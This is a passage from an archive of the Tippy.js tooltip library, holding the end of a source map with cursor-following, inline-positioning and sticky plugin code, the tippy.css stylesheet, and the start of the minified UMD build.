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"} dist/tippy.css 0000666 00000002601 15167156642 0007406 0 ustar 00 .tippy-box[data-animation=fade][data-state=hidden]{opacity:0}[data-tippy-root]{max-width:calc(100vw - 10px)}.tippy-box{position:relative;background-color:#333;color:#fff;border-radius:4px;font-size:14px;line-height:1.4;white-space:normal;outline:0;transition-property:transform,visibility,opacity}.tippy-box[data-placement^=top]>.tippy-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-arrow:before{bottom:-7px;left:0;border-width:8px 8px 0;border-top-color:initial;transform-origin:center top}.tippy-box[data-placement^=bottom]>.tippy-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:before{top:-7px;left:0;border-width:0 8px 8px;border-bottom-color:initial;transform-origin:center bottom}.tippy-box[data-placement^=left]>.tippy-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-arrow:before{border-width:8px 0 8px 8px;border-left-color:initial;right:-7px;transform-origin:center left}.tippy-box[data-placement^=right]>.tippy-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-arrow:before{left:-7px;border-width:8px 8px 8px 0;border-right-color:initial;transform-origin:center right}.tippy-box[data-inertia][data-state=visible]{transition-timing-function:cubic-bezier(.54,1.5,.38,1.11)}.tippy-arrow{width:16px;height:16px;color:#333}.tippy-arrow:before{content:"";position:absolute;border-color:transparent;border-style:solid}.tippy-content{position:relative;padding:5px 9px;z-index:1} dist/tippy.umd.min.js 0000666 00000057012 15167156642 0010606 0 ustar 00 !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],t):(e=e||self).tippy=t(e.Popper)}(this,(function(e){"use strict";var t={passive:!0,capture:!0},n=function(){return document.body};function r(e,t,n){if(Array.isArray(e)){var r=e[t];return null==r?Array.isArray(n)?n[t]:n:r}return e}function o(e,t){var n={}.toString.call(e);return 0===n.indexOf("[object")&&n.indexOf(t+"]")>-1}function i(e,t){return"function"==typeof e?e.apply(void 0,t):e}function a(e,t){return 0===t?e:function(r){clearTimeout(n),n=setTimeout((function(){e(r)}),t)};var n}function s(e,t){var n=Object.assign({},e);return t.forEach((function(e){delete n[e]})),n}function u(e){return[].concat(e)}function c(e,t){-1===e.indexOf(t)&&e.push(t)}function p(e){return e.split("-")[0]}function f(e){return[].slice.call(e)}function l(e){return Object.keys(e).reduce((function(t,n){return void 0!==e[n]&&(t[n]=e[n]),t}),{})}function d(){return document.createElement("div")}function v(e){return["Element","Fragment"].some((function(t){return o(e,t)}))}function m(e){return o(e,"MouseEvent")}function g(e){return!(!e||!e._tippy||e._tippy.reference!==e)}function h(e){return v(e)?[e]:function(e){return o(e,"NodeList")}(e)?f(e):Array.isArray(e)?e:f(document.querySelectorAll(e))}function b(e,t){e.forEach((function(e){e&&(e.style.transitionDuration=t+"ms")}))}function y(e,t){e.forEach((function(e){e&&e.setAttribute("data-state",t)}))}function w(e){var t,n=u(e)[0];return null!=n&&null!=(t=n.ownerDocument)&&t.body?n.ownerDocument:document}function E(e,t,n){var r=t+"EventListener";["transitionend","webkitTransitionEnd"].forEach((function(t){e[r](t,n)}))}function O(e,t){for(var n=t;n;){var r;if(e.contains(n))return!0;n=null==n.getRootNode||null==(r=n.getRootNode())?void 0:r.host}return!1}var x={isTouch:!1},C=0;function T(){x.isTouch||(x.isTouch=!0,window.performance&&document.addEventListener("mousemove",A))}function A(){var e=performance.now();e-C<20&&(x.isTouch=!1,document.removeEventListener("mousemove",A)),C=e}function L(){var e=document.activeElement;if(g(e)){var t=e._tippy;e.blur&&!t.state.isVisible&&e.blur()}}var D=!!("undefined"!=typeof window&&"undefined"!=typeof document)&&!!window.msCrypto,R=Object.assign({appendTo:n,aria:{content:"auto",expanded:"auto"},delay:0,duration:[300,250],getReferenceClientRect:null,hideOnClick:!0,ignoreAttributes:!1,interactive:!1,interactiveBorder:2,interactiveDebounce:0,moveTransition:"",offset:[0,10],onAfterUpdate:function(){},onBeforeUpdate:function(){},onCreate:function(){},onDestroy:function(){},onHidden:function(){},onHide:function(){},onMount:function(){},onShow:function(){},onShown:function(){},onTrigger:function(){},onUntrigger:function(){},onClickOutside:function(){},placement:"top",plugins:[],popperOptions:{},render:null,showOnCreate:!1,touch:!0,trigger:"mouseenter focus",triggerTarget:null},{animateFill:!1,followCursor:!1,inlinePositioning:!1,sticky:!1},{allowHTML:!1,animation:"fade",arrow:!0,content:"",inertia:!1,maxWidth:350,role:"tooltip",theme:"",zIndex:9999}),k=Object.keys(R);function P(e){var t=(e.plugins||[]).reduce((function(t,n){var r,o=n.name,i=n.defaultValue;o&&(t[o]=void 0!==e[o]?e[o]:null!=(r=R[o])?r:i);return t}),{});return Object.assign({},e,t)}function j(e,t){var n=Object.assign({},t,{content:i(t.content,[e])},t.ignoreAttributes?{}:function(e,t){return(t?Object.keys(P(Object.assign({},R,{plugins:t}))):k).reduce((function(t,n){var r=(e.getAttribute("data-tippy-"+n)||"").trim();if(!r)return t;if("content"===n)t[n]=r;else try{t[n]=JSON.parse(r)}catch(e){t[n]=r}return t}),{})}(e,t.plugins));return n.aria=Object.assign({},R.aria,n.aria),n.aria={expanded:"auto"===n.aria.expanded?t.interactive:n.aria.expanded,content:"auto"===n.aria.content?t.interactive?null:"describedby":n.aria.content},n}function M(e,t){e.innerHTML=t}function V(e){var t=d();return!0===e?t.className="tippy-arrow":(t.className="tippy-svg-arrow",v(e)?t.appendChild(e):M(t,e)),t}function I(e,t){v(t.content)?(M(e,""),e.appendChild(t.content)):"function"!=typeof t.content&&(t.allowHTML?M(e,t.content):e.textContent=t.content)}function S(e){var t=e.firstElementChild,n=f(t.children);return{box:t,content:n.find((function(e){return e.classList.contains("tippy-content")})),arrow:n.find((function(e){return e.classList.contains("tippy-arrow")||e.classList.contains("tippy-svg-arrow")})),backdrop:n.find((function(e){return e.classList.contains("tippy-backdrop")}))}}function N(e){var t=d(),n=d();n.className="tippy-box",n.setAttribute("data-state","hidden"),n.setAttribute("tabindex","-1");var r=d();function o(n,r){var o=S(t),i=o.box,a=o.content,s=o.arrow;r.theme?i.setAttribute("data-theme",r.theme):i.removeAttribute("data-theme"),"string"==typeof r.animation?i.setAttribute("data-animation",r.animation):i.removeAttribute("data-animation"),r.inertia?i.setAttribute("data-inertia",""):i.removeAttribute("data-inertia"),i.style.maxWidth="number"==typeof r.maxWidth?r.maxWidth+"px":r.maxWidth,r.role?i.setAttribute("role",r.role):i.removeAttribute("role"),n.content===r.content&&n.allowHTML===r.allowHTML||I(a,e.props),r.arrow?s?n.arrow!==r.arrow&&(i.removeChild(s),i.appendChild(V(r.arrow))):i.appendChild(V(r.arrow)):s&&i.removeChild(s)}return r.className="tippy-content",r.setAttribute("data-state","hidden"),I(r,e.props),t.appendChild(n),n.appendChild(r),o(e.props,e.props),{popper:t,onUpdate:o}}N.$$tippy=!0;var B=1,H=[],U=[];function _(o,s){var v,g,h,C,T,A,L,k,M=j(o,Object.assign({},R,P(l(s)))),V=!1,I=!1,N=!1,_=!1,F=[],W=a(we,M.interactiveDebounce),X=B++,Y=(k=M.plugins).filter((function(e,t){return k.indexOf(e)===t})),$={id:X,reference:o,popper:d(),popperInstance:null,props:M,state:{isEnabled:!0,isVisible:!1,isDestroyed:!1,isMounted:!1,isShown:!1},plugins:Y,clearDelayTimeouts:function(){clearTimeout(v),clearTimeout(g),cancelAnimationFrame(h)},setProps:function(e){if($.state.isDestroyed)return;ae("onBeforeUpdate",[$,e]),be();var t=$.props,n=j(o,Object.assign({},t,l(e),{ignoreAttributes:!0}));$.props=n,he(),t.interactiveDebounce!==n.interactiveDebounce&&(ce(),W=a(we,n.interactiveDebounce));t.triggerTarget&&!n.triggerTarget?u(t.triggerTarget).forEach((function(e){e.removeAttribute("aria-expanded")})):n.triggerTarget&&o.removeAttribute("aria-expanded");ue(),ie(),J&&J(t,n);$.popperInstance&&(Ce(),Ae().forEach((function(e){requestAnimationFrame(e._tippy.popperInstance.forceUpdate)})));ae("onAfterUpdate",[$,e])},setContent:function(e){$.setProps({content:e})},show:function(){var 